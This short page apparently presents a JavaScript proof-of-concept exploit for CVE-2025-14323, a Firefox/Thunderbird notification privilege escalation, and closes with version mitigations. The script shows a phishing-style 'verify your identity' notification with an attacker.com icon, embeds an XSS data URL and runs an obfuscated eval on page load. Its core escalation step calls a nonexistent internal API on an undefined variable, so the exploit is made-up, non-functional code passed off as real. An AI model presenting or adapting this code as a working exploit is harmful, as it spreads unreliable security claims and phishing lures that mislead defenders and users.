CVE-2025-14323 Mozilla DOM Notifications特权提升漏洞

// CVE-2025-14323 PoC - DOM Notifications Privilege Escalation // Target: Mozilla Firefox, Firefox ESR, Thunderbird < fixed versions // Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=1996555 function exploitNotifications() { // Step 1: Request notification permission Notification.requestPermission().then(permission => { if (permission !== 'granted') { console.log('Permission denied'); return; } // Step 2: Create malicious notification const maliciousNotification = new Notification('Security Alert', { body: 'Click to verify your identity', icon: 'https://attacker.com/logo.png', tag: 'CVE-2025-14323', data: { url: 'javascript:void(document.location="data:text/html,<script>alert("XSS\")</script>")' } }); // Step 3: Exploit notification event handlers maliciousNotification.onshow = function() { // Attempt to trigger privilege escalation via notification API try { // Access internal notification state const internalState = notification.getInternalState(); // Exploit callback mechanism if (internalState && internalState.callback) { // Escalate privileges internalState.callback.call(window); } } catch (e) { console.log('Exploit attempt: ' + e.message); } }; // Step 4: Force user interaction setTimeout(() => { maliciousNotification.close(); // Trigger follow-up action eval(atob('YWxlcnQoJ0V4cGxvaXQgc3VjY2Vzc2VkJyk=')); }, 1000); }); } // Execute exploit window.onload = exploitNotifications; // Mitigation: Update to Firefox 146, Firefox ESR 115.31/140.6, Thunderbird 146/140.6